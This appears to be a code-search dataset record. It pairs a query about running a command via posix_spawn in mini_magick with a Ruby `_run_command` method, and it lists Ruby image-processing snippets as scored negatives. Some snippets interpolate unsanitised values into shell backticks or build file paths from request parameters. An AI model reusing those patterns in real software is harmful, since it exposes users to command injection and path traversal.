"def with_minimagick(image)\n image = ::MiniMagick::Image.new(image.path, image)\n image = image.layers.first if image.layers.any?\n image = image.pages.first if image.pages.any?\n yield image\n tempfile = image.instance_variable_get(\"@tempfile\")\n tempfile.open if tempfile.is_a?(Tempfile) # for aws-sdk\n tempfile\n end",
"def convert\n generate_uid\n tmp_file = Pathname.new(Dir::tmpdir).join(\"#{@uid}_#{@source.basename}\")\n tmp_image = image_to_tiff\n `#{@command} '#{tmp_image}' '#{tmp_file.to_s}' #{lang} #{psm} #{config_file} #{clear_console_output}`\n @value = File.read(\"#{tmp_file.to_s}.txt\").to_s\n @uid = nil\n remove_file([tmp_image,\"#{tmp_file.to_s}.txt\"])\n rescue\n raise RTesseract::ConversionError\n end",
"def clipart\n output = get_working_image(@session_id)\n unless File.exist?(output)\n FileUtils.cp(\"#{Rails.root}/public/#{params[:src]}\", output)\n img = Image.read(output).first\n img = img.scale(params[:rs].to_f) unless params[:rs].blank?\n img = img.level_colors(params[:b] || \"\", params[:w] || \"\", true) if params[:b] || params[:w]\n img.background_color = \"none\"\n img.rotate!(params[:r].to_f) unless params[:r].blank?\n\n #For embroidery\n if params[:emb] == 'true'\n img = img.ordered_dither\n end\n #FLIP/FLOP/Transpose/Transverse\n if params[:ff] == 'flip'\n img.flip!\n elsif params[:ff] == 'flop'\n img.flop!\n elsif params[:ff] == 'transpose'\n img.transpose!\n elsif params[:ff] == 'transverse'\n img.transverse!\n end\n #Extracts a channel\n if params[:ec] == 'R'\n img = img.channel(Magick::RedChannel)\n elsif params[:ec] == 'G'\n img = img.channel(Magick::GreenChannel)\n elsif params[:ec] == 'B'\n img = img.channel(Magick::BlueChannel)\n end\n\n #Applies a special effect to the image - QuantumRange\n img = img.sepiatone(Magick::QuantumRange * params[:qr].to_f) unless params[:qr].blank?\n\n #Vignette (Shape Edge)\n if params[:vig] == 'true'\n img = img.vignette\n end\n\n #Wet Floor\n if params[:wf]\n img = img.wet_floor\n end\n img.write(output)\n end\n img = Image.read(output).first\n send_data img.to_blob, :disposition => 'inline', :type => 'image/png'\n end",
"def copy_pic(filename,out_path)\n originaldate = read_pic_date(filename).to_f # get pic date\n File.copy(filename, out_path) # copy pic\n copyfilename = out_path + '/' + File.basename(filename) # new path to pic\n File.utime(originaldate,originaldate,copyfilename) # set original date to pic\nend",
"def strip\n return unless self.file.content_type.start_with? 'image'\n\n manipulate! do |img|\n img.strip\n img = yield(img) if block_given?\n img\n end\n end",
"def process(raw)\n # set up some temp filenames\n rgb = raw.gsub \"raw\", \"rgb\"\n tif = raw.gsub \"raw\", \"tif\"\n\n # calculate the strip size\n bytes = File.size raw\n bytes -= 16 # remove the header bytes from the calculation\n size = { width: bytes / 6 / HEIGHT, height: HEIGHT }\n\n puts \"Processing #{raw} as #{size[:width]}x#{size[:height]}px..\"\n\n # rename to rgb\n `mv #{raw} #{rgb}`\n\n # convert to tiff and normalize channels while at it, then crop into equal tiles\n `convert -size #{size[:width]}x#{size[:height]} -depth 16 -interlace plane -channel ALL -normalize -contrast-stretch 1.5x0.03% -crop #{size[:width] / WIDTH }x1@ +repage #{rgb} %d_#{tif}`\n\n # rename to raw\n `mv #{rgb} #{raw}`\nend",
"def upload_session_image\n max_width = params[:width] || 120\n max_height = params[:height] || 120\n begin\n file = params[\"uploaded_file_#{params[:name]}\".to_sym]\n logger.debug \"file = #{file.inspect}\"\n original_tmpfile = tmp_file_path(file.original_filename)\n File.open(original_tmpfile,\"wb\") do |f|\n f.write(file.read)\n end\n # Validate the original file\n @image_errors = []\n validate_image_type(original_tmpfile, params[:name])\n \n image_attached_class = eval(self.class.image_attached_class_name)\n validate_method_name = \"validate_image_as_#{params[:name].singularize}\".to_sym\n if image_attached_class.respond_to?(validate_method_name)\n errors = image_attached_class.send(validate_method_name, original_tmpfile)\n @image_errors.concat(errors) if errors.kind_of?(Array)\n end\n # TODO: deprecated.\n validate_image(original_tmpfile) if self.respond_to?(:validate_image)\n unless @image_errors.empty?\n File.delete(original_tmpfile)\n responds_to_parent do\n render :update do |page|\n page << \"#{main_object_name(params[:name])}.refresh();\"\n page.alert(@image_errors.join('\\n'))\n end\n end\n return\n end\n\n modified_tmpfile = tmp_file_path(file.original_filename)\n if !resize_and_write_image(original_tmpfile, modified_tmpfile)\n modified_tmpfile = original_tmpfile\n end\n original_tmpname = cut_path(original_tmpfile) # file name\n modified_tmpname = cut_path(modified_tmpfile) # file name\n display_size, original_width, original_height, mime_type = ImageResize.use_image_size(modified_tmpfile) do |i|\n [ImageResize.get_reduction_size(i, max_width, max_height), i.get_width, i.get_height, i.mime_type]\n end\n uploaded_files_on_session(params[:name]) << {\n :filename => modified_tmpfile,\n :original_filename => file.original_filename,\n :session => true,\n :width => display_size[:width],\n :height => display_size[:height],\n :original_width => original_width,\n :original_height => original_height,\n :original_tmp_filename => original_tmpfile,\n :modified_angle => 0,\n :mime_type => mime_type\n }\n responds_to_parent do\n render :update do |page|\n image = {\n :original_filename => file.original_filename,\n :image_uri => url_for(:action => 'session_image', :file_name => modified_tmpname),\n :name => modified_tmpname,\n :session => true,\n :width => display_size[:width],\n :height => display_size[:height],\n :original_width => original_width,\n :original_height => original_height,\n :mime_type => mime_type\n }\n page << \"#{main_object_name(params[:name])}.onUploaded(#{image.to_json});\"\n end\n end\n rescue => e\n logger.error e\n logger.error e.backtrace.join(\"\\n\")\n responds_to_parent do \n render :text => e.to_s\n end\n end\n end",
"def temp_bitmap\n bitmap = bitmap_factory.call(unique_key)\n bitmap\n end",
"def make\n src = @file\n dst = Tempfile.new([@basename, @format ? \".#{@format}\" : ''])\n dst.binmode\n\n begin\n parameters = []\n parameters << source_file_options\n parameters << \":source\"\n parameters << transformation_command\n parameters << convert_options\n parameters << \":dest\"\n\n parameters = parameters.flatten.compact.join(\" \").strip.squeeze(\" \")\n\n success = Paperclip.run(\"convert\", parameters, :source => \"#{File.expand_path(src.path)}\", :dest => File.expand_path(dst.path))\n rescue Exception => e\n error_details = \"#{e.class}: #{e}\"\n error_details += \"\\n#{e.backtrace.join(\"\\n\")}\" if e.backtrace\n\n p \"ERROR: #{error_details}\"\n \n raise \"There was an error processing the thumbnail for #{@basename}\" if @whiny\n end\n\n dst\n end",
"def process_image(strip: false)\n result = true\n if new_record?\n errors.add(:image, \"Called process_image before saving image record.\")\n result = false\n elsif save_to_temp_file\n ext = original_extension\n set_image_size(upload_temp_file) if ext == \"jpg\"\n set = width.nil? ? \"1\" : \"0\"\n update_attribute(:gps_stripped, true) if strip\n strip = strip ? \"1\" : \"0\"\n if move_original\n cmd = MO.process_image_command.\n gsub(\"<id>\", id.to_s).\n gsub(\"<ext>\", ext).\n gsub(\"<set>\", set).\n gsub(\"<strip>\", strip)\n if !Rails.env.test? && !system(cmd)\n errors.add(:image, :runtime_image_process_failed.t(id: id))\n result = false\n end\n else\n result = false\n end\n end\n result\n end",
"def parse_image_data(image_data)\n @tempfile = Tempfile.new('item_image')\n @tempfile.binmode\n @tempfile.write Base64.decode64(image_data[:content])\n @tempfile.rewind\n\n uploaded_file = ActionDispatch::Http::UploadedFile.new(\n tempfile: @tempfile,\n filename: image_data[:filename]\n )\n\n uploaded_file.content_type = image_data[:content_type]\n uploaded_file\n end",
"def process(&blk)\n result = tempfile(&blk)\n\n # Should we add destroy to an ensure block? Im not sure if it makes sense\n # to delete failed files.\n file.destroy\n\n result\n end",
"def create_backup_photo_for_real\n returning(new_backup_photo) do |p|\n p.backup_photo_album = create_backup_photo_album(:backup_source => create_backup_source)\n p.save\n # Setup source file and stub url\n File.cp File.dirname(__FILE__) + '/../../public/images/bigtest.jpg', \n @tempfile = ActiveSupport::TestCase.fixture_path + 'crap.jpg'\n p.stubs(:source_url).returns(@tempfile)\n end\n end",
"def make\n src = @file\n dst = Tempfile.new([@basename, 'png'].compact.join(\".\"))\n dst.binmode\n \n\n parms = []\n parms << \"-size #{@target_geometry.width.to_i}x#{@target_geometry.height.to_i}\"\n parms << \"-quality 95\"\n parms << convert_options\n parms << \"#{File.expand_path(src.path)}[0]\"\n parms << File.expand_path(dst.path)\n \n parameters = parms.flatten.compact.join(\" \").strip.squeeze(\" \")\n \n \n# Rails.logger.info @file.path\n# Rails.logger.info '========== gm convert ' + parameters\n # success = Paperclip.run('gm convert', parameters)\n # success = Paperclip::CommandLine.new('gm convert', parameters, :expected_outcodes => [0, 1]).run\n\n output = `gm convert #{parameters}`\n if ! [0, 1].include?($?.exitstatus)\n raise PaperclipError, \"There was an error converting pdf to png: #{output} #{e}\" if @whiny\n end\n\n# success = Paperclip.run('gm convert', parameters)\n\n\n\n Rails.logger.info '========== tmpfile: ' + dst.path\n\n return dst\n# return ' s'\n end",
"def revert_avatar\n if self.avatar.dirty?\n self.avatar_file_name = avatar_file_name_was\n self.avatar_content_type = avatar_content_type_was\n self.avatar_file_size = avatar_file_size_was\n self.avatar_updated_at = avatar_updated_at_was\n @_paperclip_attachments.delete(:avatar) # Clear the cached instance of Paperclip::Attachment\n end\n end",
"def make\n src = @file\n dst = Tempfile.new(@basename)\n dst.binmode\n\n command = <<-end_command\n #{transformation_command}\n \"#{File.expand_path(src.path)}[0]\"\n \"#{File.expand_path(dst.path)}\"\n end_command\n\n begin\n success = Paperclip.run('composite', command.gsub(/\\s+/, ' '))\n rescue PaperclipCommandLineError\n raise PaperclipError, \"There was an error processing the watermark for #{@basename}\" if @whiny\n end\n\n dst\n end",
"def copy_unpacked!(metadata, vmcatcher_configuration)\n Itchy::Log.info \"[#{self.class.name}] Copying image \" \\\n \"for #{metadata.dc_identifier.inspect}\"\n unpacking_dir = prepare_image_temp_dir(metadata, vmcatcher_configuration).flatten.first\n begin\n ::FileUtils.cp(\n orig_image_file(metadata, vmcatcher_configuration),\n unpacking_dir\n )\n rescue SystemCallError => ex\n Itchy::Log.fatal \"[#{self.class.name}] Failed to create a copy \" \\\n \"for #{metadata.dc_identifier.inspect}: \" \\\n \"#{ex.message}\"\n fail Itchy::Errors::PrepareEnvError, ex\n end\n\n unpacking_dir\n end",
"def process_image(src, dest, maxw, maxh)\n i = QuickMagick::Image.read(src).first\n # AMF - added quality setting to limit size of images (some sites had high quality jpeg, so files sizes were still big)\n i.quality = 75\n w, h = i.width, i.height\n extra = (w - h/(maxh.to_f/maxw.to_f)).to_i\n if extra > 0\n i.shave(\"#{extra>>1}x0\") if i.width > i.height\n w -= extra\n end\n if w > maxw or h > maxh\n i.resize(\"#{maxw}x#{maxh}\")\n end\n i.save(dest)\n end",
"def backupImage\n Find.find(\"./image/\") do |image|\n next unless FileTest.file?(image) && (image =~ /\\.jpg\\Z/ || image =~ /\\.jpeg\\Z/ ||\n image =~ /\\.png\\Z/ || image =~ /\\.gif\\Z/)\n FileUtils.mv(image, \"./bkimage\")\n end\n end",
"def decode_image_data(img_data,fname)\n cid = URI.unescape(img_data)\n filename = fname\n file = File.open(\"#{Rails.root.to_s}/public/tmp/#{filename}.jpg\",\"wb\")\n temp2 = ActiveSupport::Base64.decode64(cid)\n file.write(temp2)\n file.close\n f = File.open(\"#{Rails.root.to_s}/public/tmp/#{filename}.jpg\")\n self.avatar = f\n f.close\n File.delete(\"#{Rails.root.to_s}/public/tmp/#{filename}.jpg\")\n end",
"def convert_data_uri_to_upload(obj_hash)\n puts \"========#{obj_hash}\"\n # if obj_hash.try(:match, %r{^data:(.*?);(.*?),(.*)$})\n image_data = split_base64(obj_hash)\n image_data_string = image_data[:data]\n image_data_binary = Base64.decode64(image_data_string)\n\n temp_img_file = Tempfile.new(\"data_uri-upload\")\n temp_img_file.binmode\n temp_img_file << image_data_binary\n temp_img_file.rewind\n\n img_params = {:filename => \"data-uri-img.#{image_data[:extension]}\", :type => image_data[:type], :tempfile => temp_img_file}\n uploaded_file = ActionDispatch::Http::UploadedFile.new(img_params)\n\n #\n # obj_hash[:image] = uploaded_file\n # obj_hash.delete(:remote_image_url)\n # end\n\n uploaded_file\nend",
"def delete_cache_and_img\n # -- out with the old -- #\n\n finger = self.fingerprint_changed? ? self.fingerprint_was : self.fingerprint\n imgfinger = self.image_fingerprint_changed? ? self.image_fingerprint_was : self.image_fingerprint\n\n if finger && imgfinger\n # -- delete our old cache -- #\n Rails.cache.delete(\"img:\"+[self.asset.id,imgfinger,self.output.code].join(\":\"))\n\n # -- delete our AssetOutput -- #\n path = self.asset.image.path(self)\n\n if path\n # this path could have our current values in it. make sure we've\n # got old fingerprints\n path = path.gsub(self.asset.image_fingerprint,imgfinger).gsub(self.fingerprint,finger)\n\n self.asset.image.delete_path(path)\n end\n end\n\n true\n end",
"def operation(*args)\n src_file, out_file = args\n image = Vips::Image.new_from_file src_file\n image.tiffsave(out_file, **options)\n # Return lof if any\n end",
"def prepare_screenshot(screenshot_name = \"screenshot.png\", is_remove_previous = true, is_crop = true)\n logc(\"method: #{__method__}, params: #{screenshot_name}, #{is_remove_previous}, #{is_crop}\")\n\n remove_screenshot_file if is_remove_previous\n\n $screenshot_file_path = take_screenshot_faster(File.join(@report_path, screenshot_name))\n\n crop_image($screenshot_file_path) if is_crop\n\n logc(\"screenshot saved: #{$screenshot_file_path}\")\n return $screenshot_file_path\nend",
"def process_image#:doc:\n \n if !self.file || (self.file.respond_to?(:length) && self.file.length == 0)\n if new_record?\n raise 'No file.'\n else\n return true\n end\n end\n \n self.original_filename = self.file.original_filename if self.file.respond_to?(:original_filename)\n \n unless self.file.is_a?(Array)\n #Read image data from form\n begin\n original = ::Magick::ImageList.new.concat(\n ::Magick::Image.from_blob(\n self.file.read\n ).map{|im|\n im.strip!\n }\n )\n rescue\n raise 'Could not read image. Are you sure this is an image file?'\n end\n else#Image is already a Magick::ImageList\n original = self.file.is_a?(::Magick::ImageList) ? self.file : ::Magick::ImageList.new.concat(self.file)\n end\n \n #Scale/crop images\n begin\n #Will be a hash of [size, image] pairs, eg ['small', <Magick::ImageList>]\n scaled_images = sizes.map{|name,size|\n \n if size.is_a? Array\n if size.size > 1\n method = size[1].to_sym\n size = size[0]\n else\n method = :scale\n size = size[0]\n end\n end\n \n [\n name,\n original.collect{|im|\n im.change_geometry(size){|cols,rows,img|\n if method == :crop\n img.crop_resized(cols, rows, ::Magick::NorthWestGravity)\n else# method == :scale\n img.resize(cols, rows)\n end\n }\n }\n ]\n }\n rescue Exception\n raise 'Could not scale image.'\n end\n \n #Write scaled images to files\n #Should possibly combine with scaling to consume less memory\n begin\n FileUtils.mkdir_p(save_path_with_own_path)\n delete_files#Delete old files\n scaled_images.each{|pair|\n if pair.last.size > 1#Assume image is animated\n self.content_type = 'image/gif'\n pair.last.write(save_path_with_filename(pair.first))\n else\n self.content_type = 'image/jpeg'\n pair.last.first.write(save_path_with_filename(pair.first))\n end\n }\n rescue Exception\n raise 'Could not write image.'\n end\n rescue Exception => e\n self.errors.add('file', e.message)\n delete_files\n return false\n ensure\n #Throw RMagick stuff out of memory\n #TODO: Not sure this works the way I think it does\n self.file = nil\n scaled_images = nil\n GC.start\n end"
] |
[
"0.7118234",
"0.68954945",
"0.68207026",
"0.67693514",
"0.6742517",
"0.6735271",
"0.6435347",
"0.6431835",
"0.636968",
"0.63153666",
"0.62780744",
"0.62558055",
"0.6225623",
"0.6166958",
"0.6164401",
"0.61597097",
"0.61592823",
"0.61592823",
"0.6159278",
"0.6117659",
"0.6102735",
"0.60959935",
"0.6067505",
"0.6048977",
"0.6048977",
"0.60427624",
"0.60059595",
"0.5992638",
"0.59908944",
"0.59855986",
"0.5971559",
"0.59612286",
"0.5958729",
"0.5943341",
"0.5932446",
"0.58928704",
"0.58924025",
"0.58777726",
"0.5854351",
"0.5805997",
"0.57852155",
"0.57741606",
"0.57713795",
"0.5768048",
"0.5761943",
"0.5751046",
"0.5739327",
"0.57331395",
"0.57234746",
"0.57197183",
"0.5706988",
"0.57002944",
"0.56934255",
"0.5689651",
"0.5688439",
"0.5686982",
"0.5679164",
"0.5679164",
"0.56722015",
"0.56657946",
"0.56600523",
"0.5655154",
"0.56511414",
"0.5649656",
"0.5649029",
"0.56487465",
"0.56450677",
"0.56322217",
"0.5624444",
"0.5620028",
"0.56062895",
"0.5601487",
"0.5594397",
"0.558427",
"0.55827564",
"0.5581121",
"0.5578736",
"0.55755144",
"0.55697715",
"0.5565785",
"0.5554849",
"0.5553801",
"0.5535543",
"0.5523955",
"0.55137515",
"0.5513685",
"0.5508767",
"0.5494777",
"0.5488052",
"0.5487073",
"0.54845244",
"0.5482992",
"0.5477528",
"0.5474302",
"0.5464665",
"0.546397",
"0.546035",
"0.54588926",
"0.54578936",
"0.54568714"
] |
0.7130066
|
0
|
this method is from mini_magick using posix_spawn
|
def _run_command(command)
require "posix-spawn"
pid, stdin, stdout, stderr = POSIX::Spawn.popen4(command)
Process.waitpid(pid)
# $?.exitstatus contains exit status do something with it if non zero raise error maybe
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def spawn\n Process.spawn(*spawn_args)\n end",
"def spawn(cmd)\n puts \">> #{cmd}\"\n\n cmd += ' 2>&1'\n PTY.spawn cmd do |r, w, pid|\n begin\n r.sync\n r.each_char { |chr| STDOUT.write(chr) }\n rescue Errno::EIO => e\n # simply ignoring this\n ensure\n ::Process.wait pid\n end\n end\n abort \"#{cmd} failed\" unless $? && $?.exitstatus == 0\nend",
"def spawn\n raise \"not yet implemented\"\n end",
"def spawn_detached(args); end",
"def create_ewf_image(drive_path ,image_output_location)\n ## Make E01 image\n @colour.notify \"Creating E01 image with path #{image_output_location}.E01\"\n @colour.notify 'This may take a while:'\n @colour.notify \"E01 image #{image_output_location}.E01 created\" if system \"ftkimager '#{drive_path}' '#{image_output_location}' --e01\"\nend",
"def _spawn\n t = Thread.new do\n catch(:die) do\n loop do\n begin\n io = IO.popen(\"#{@ruby} #{@tmp.path}\", 'r')\n cid = Integer(line = io.gets)\n\n @cids.sync {@cids << cid} if cid > 0\n Process.wait cid\n rescue SystemCallError # if the child has already died\n rescue Exception => err\n child_err = Marshal.load(line) rescue nil\n err = child_err unless child_err.nil?\n\n STDERR.puts err.inspect\n STDERR.puts err.backtrace.join(\"\\n\")\n throw :die\n ensure\n line = io.read\n child_err = Marshal.load(line) rescue nil\n\n io.close rescue nil\n @cids.sync {\n @cids.delete cid\n throw :die unless @cids.length < @spawn or child_err\n }\n raise child_err unless child_err.nil?\n end\n\n throw :die if @stop\n sleep @pause\n\n end # loop\n end # catch(:die)\n end # Thread.new\n\n @group.add t\n t\n end",
"def test03()\n sourceMovie = File.join($directory, \"images/418_clip5_sd.m4v\")\n baseImageName = \"movie-frame10secs.jpg\"\n begin \n # Create the list of commands object, ready to have commands added to it.\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n movieImporterName = SecureRandom.uuid\n movieObject = theCommands.make_createmovieimporter(sourceMovie,\n name: movieImporterName)\n # Create an image exporter object\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n# tempFile = File.join($compareImageDir, baseImageName)\n exporterObject = theCommands.make_createexporter(tempFile)\n # The following creates a movie time 10 seconds into the movie.\n frameTime = MovieTime.make_movietime(timevalue: 6000, timescale: 600)\n addImageToExporterCommand = CommandModule.make_addimage_frommovie(\n exporterObject, movieObject,\n frametime: frameTime)\n theCommands.add_command(addImageToExporterCommand)\n exportCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportCommand)\n Smig.perform_commands(theCommands)\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile)\n # 2. Report if different.\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n ensure\n FileUtils.rm_f(tempFile) unless tempFile.nil?\n# Open3.capture2(\"open\", tempFile) unless tempFile.nil?\n# Open3.capture2(\"open\", origFile) unless origFile.nil?\n end\nend",
"def system(command)\n fork do\n exec(command)\n end\nend",
"def _runCommand(command)\n pid = Process.spawn command\n #pid = fork {exec command}\n Process.waitpid(pid)\n end",
"def process_image(image_path, output_directory)\n parts = image_path.split(\"/\")\n filename = parts[parts.length - 1]\n image_small_path = output_directory + lowercase_filetype(filename)\n ratio = 0.125\n ratio = 0.071\n command = \"CoreImageTool load my_image #{image_path} \\\n filter my_image CILanczosScaleTransform scale=#{ratio} \\\n store my_image #{image_small_path} public.jpeg\"\n puts \"processing #{image_path} #{image_small_path}\"\n system(command) \n end",
"def capture_subprocess_io; end",
"def imagemagick?; end",
"def host\n self.image_path = Base64.encode64(\n SecureRandom.hex(10) + \n Time.now.to_i.to_s).chomp + \".jpg\"\n\n tempfile = Tempfile.new(image_path)\n file_path = tempfile.path\n\n system(\"wget --no-check-certificate \"\\\n \"-U '#{CONFIG[:user_agent]}' '#{orig_image_url}' \"\\\n \"-T 30 -t 3 \"\\\n \"--output-document '#{file_path}'\")\n\n\n if File.exists? file_path\n\n # Store original image\n #\n FileSystem.store(\n image_path,\n open(file_path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create thumbnail\n #\n image = MiniMagick::Image.open(file_path)\n\n ImageUtilities.reduce_to_with_image(\n image,\n {:width => 180,:height => 180})\n\n FileSystem.store(\n thumbnail_path,\n open(image.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n self.is_processed = true\n self.save!\n end\n\n rescue MiniMagick::Invalid => ex\n LoggedException.add(__FILE__,__method__,ex)\n end",
"def create_dd_image(drive_path, image_output_location)\n ## Make DD image\n @colour.notify \"Creating dd image with path #{image_output_location}.raw\"\n @colour.notify 'This may take a while:'\n @colour.notify \"Raw image #{image_output_location}.raw created\" if system \"aBoxManage clonemedium disk '#{drive_path}' '#{image_output_location}.raw' --format RAW\"\nend",
"def build_command\n ChildProcess.posix_spawn = true # Support JRuby.\n if OS.windows?\n ChildProcess.build('cmd.exe', '/c', command)\n else\n ChildProcess.build('sh', '-c', command)\n end\n end",
"def test03()\n sourceMovie = File.join($directory, \"images/604_sd_clip.mov\") # 576x360\n width = 576\n height = 360\n movieLength = 300.0 # seconds.\n borderWidth = 32\n bitmapWidth = (3.0 * width.to_f * 0.5 + (3+1) * borderWidth).to_i\n bitmapHeight = (4.0 * height.to_f * 0.5 + (4+1) * borderWidth).to_i\n bitmapSize = MIShapes.make_size(bitmapWidth, bitmapHeight)\n baseFileName = \"coversheet\"\n begin\n # 1. Create the list of commands object, ready to have commands added to it.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # 2. Create movie importer and assign to list of commands.\n # Basically after the first block of commands is run, the movie importer\n # is closed automatically in the cleanup commands.\n movieImporterName = SecureRandom.uuid\n movieObject = theCommands.make_createmovieimporter(sourceMovie,\n name: movieImporterName)\n \n # 3. Create the process movie frames command and configure.\n imageIdentifier = SecureRandom.uuid\n\n processFramesCommand = ProcessFramesCommand.new(movieObject)\n processFramesCommand.create_localcontext = false\n processFramesCommand.imageidentifier = imageIdentifier\n\n track_id = MovieTrackIdentifier.make_movietrackid_from_mediatype(\n mediatype: :vide, trackindex: 0)\n \n processFramesCommand.videotracks = [ track_id ]\n\n # 4. Make a pre-process command list.\n preProcessCommands = []\n \n # 5. Make a create a bitmap context command.\n bitmapName = SecureRandom.uuid\n createBitmapCommand = CommandModule.make_createbitmapcontext(\n name: bitmapName, size: bitmapSize)\n\n bitmapObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapName)\n\n # 6. Add the create bitmap context object command to the pre-process list.\n preProcessCommands.push(createBitmapCommand.commandhash)\n\n # 7. Make a create exporter object command and add it to the pre-process list\n exporterName = SecureRandom.uuid\n createExporterCommand = CommandModule.make_createexporter(\n \"~/placeholder.jpg\", export_type: 'public.jpeg', name: exporterName)\n preProcessCommands.push(createExporterCommand.commandhash)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: exporterName)\n\n # 8. Assign the pre-process commands to the process movie frames command.\n processFramesCommand.preprocesscommands = preProcessCommands\n \n # 9. Add a close bitmap object command to cleanup commands.\n processFramesCommand.add_tocleanupcommands_closeobject(bitmapObject)\n \n # 10. Add a close exporter object command to cleanup commands.\n processFramesCommand.add_tocleanupcommands_closeobject(exporterObject)\n\n # 11. Add a remove image from collection command to cleanup commands.\n processFramesCommand.add_tocleanupcommands_removeimage(imageIdentifier)\n\n # 12. Prepare and start looping for creating process frame instrutions.\n numFrames = 24\n framesPerPage = 12 # 3 x 4\n frameDuration = movieLength / (numFrames - 1)\n pageNumber = 0\n x = 0\n y = 0\n halfWidth = width / 2\n halfHeight = height / 2\n drawnFrameSize = MIShapes.make_size(halfWidth, halfHeight)\n textBoxSize = MIShapes.make_size(halfWidth, borderWidth * 3 / 4)\n filesToCompare = []\n numFrames.times do |i|\n # 13. Create a ProcessMovieFrameInstruction object\n frameInstructions = ProcessMovieFrameInstructions.new\n \n # 14. Calculate the frame time and assign it.\n time = i.to_f * frameDuration\n frameTime = MovieTime.make_movietime_fromseconds(time)\n frameInstructions.frametime = frameTime\n \n # 15. Determine the frame number on the page & destination rectangle.\n frameNumber = i % framesPerPage\n x = frameNumber % 3\n y = 3 - (frameNumber / 3)\n xloc = x * halfWidth + (x + 1) * borderWidth\n yloc = y * halfHeight + (y + 1) * borderWidth\n origin = MIShapes.make_point(xloc, yloc)\n drawnFrameRect = MIShapes.make_rectangle(size: drawnFrameSize,\n origin: origin)\n \n # 16. Create the draw image element to draw the frame onto the bitmap.\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.destinationrectangle = drawnFrameRect\n drawImageElement.set_imagecollection_imagesource(identifier: imageIdentifier)\n \n # 17. Create the draw image command and add it to the frame instructions.\n drawImageCommand = CommandModule.make_drawelement(bitmapObject,\n drawinstructions: drawImageElement, createimage: false)\n frameInstructions.add_command(drawImageCommand)\n \n # 18. Prepare drawing the text with the time.\n timeString = \"Frame time: %.3f secs\" % time\n drawStringElement = MIDrawBasicStringElement.new()\n drawStringElement.stringtext = timeString\n drawStringElement.userinterfacefont = \"kCTFontUIFontLabel\"\n drawStringElement.textalignment = \"kCTTextAlignmentCenter\"\n drawStringElement.fillcolor = MIColor.make_rgbacolor(0.0, 0.0, 0.0)\n boxOrigin = MIShapes.make_point(xloc, yloc - borderWidth)\n boundingBox = MIShapes.make_rectangle(size: textBoxSize, origin: boxOrigin)\n drawStringElement.boundingbox = boundingBox\n drawTextCommand = CommandModule.make_drawelement(bitmapObject,\n drawinstructions: drawStringElement, createimage: false)\n frameInstructions.add_command(drawTextCommand)\n\n # 19. If this was the last frame to be drawn then export the page.\n if (frameNumber == framesPerPage - 1) || i == numFrames - 1\n addImageCommand = CommandModule.make_addimage(exporterObject, bitmapObject)\n frameInstructions.add_command(addImageCommand)\n pageNum = (i / 12).to_s.rjust(3, '0')\n fileName = baseFileName + pageNum + \".jpg\"\n filesToCompare.push(fileName)\n# filePath = File.join($compareImageDir, fileName)\n filePath = File.join(Dir.tmpdir(), fileName)\n setExportPathCommand = CommandModule.make_set_objectproperty(\n exporterObject,\n propertykey: :file,\n propertyvalue: filePath)\n frameInstructions.add_command(setExportPathCommand)\n exportCommand = CommandModule.make_export(exporterObject)\n frameInstructions.add_command(exportCommand)\n # 20. Now redraw the bitmap context with a white rectangle.\n redrawBitmapElement = MIDrawElement.new(:fillrectangle)\n redrawBitmapElement.fillcolor = MIColor.make_rgbacolor(1.0, 1.0, 1.0)\n redrawBitmapElement.rectangle = MIShapes.make_rectangle(size: bitmapSize)\n redrawCommand = CommandModule.make_drawelement(bitmapObject,\n drawinstructions: redrawBitmapElement)\n frameInstructions.add_command(redrawCommand)\n end\n # 21. Set the frame processing intructions to the process frames command.\n processFramesCommand.add_processinstruction(frameInstructions)\n end\n \n # 22. Add the process frames command to the list of commands.\n theCommands.add_command(processFramesCommand)\n Smig.perform_commands(theCommands)\n\n filesToCompare.each do |fileName|\n origFile = File.join($compareImageDir, fileName)\n tempFile = File.join(Dir.tmpdir(), fileName)\n# tempFile = File.join($compareImageDir, fileName)\n compareResult = AreImageFilesSame(origFile, tempFile, 0)\n FileUtils.rm_f(tempFile)\n # FileUtils.mv(tempFile, origFile)\n unless compareResult\n # 2. Report if different.\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n end\n\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n end\nend",
"def test01()\n imageFile = $directory + \"/images/DSCN0724.JPG\"\n baseImageName = \"croppedpaddedimage.jpg\"\n begin\n # Create the object that will contain the list of the commands\n theCommands = CommandModule::SmigCommands.new\n \n # Set the output of the command to \"lastcommandresult\" which means when the\n # list of commands is run, only the result of the last command to be run\n # is returned. If the command list is set up to stop on failure then we\n # get the result of the failed command.\n theCommands.saveresultstype = :lastcommandresult\n\n # Create the image importer object. First generate its name, \n importerName = SecureRandom.uuid\n # then create the importer with the path to the file and the name\n\n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n\n # Create the image importer object id so we can refer to it later on.\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n theCommands.add_command(createImporterCommand)\n\n # The cleanup commands are run after completion of the main command list.\n # They run whether the main command list ran without error or not.\n # They return no information, all commands in the cleanup command list are\n # run no matter whether an earlier command in the clean up list failed or\n # or not.\n 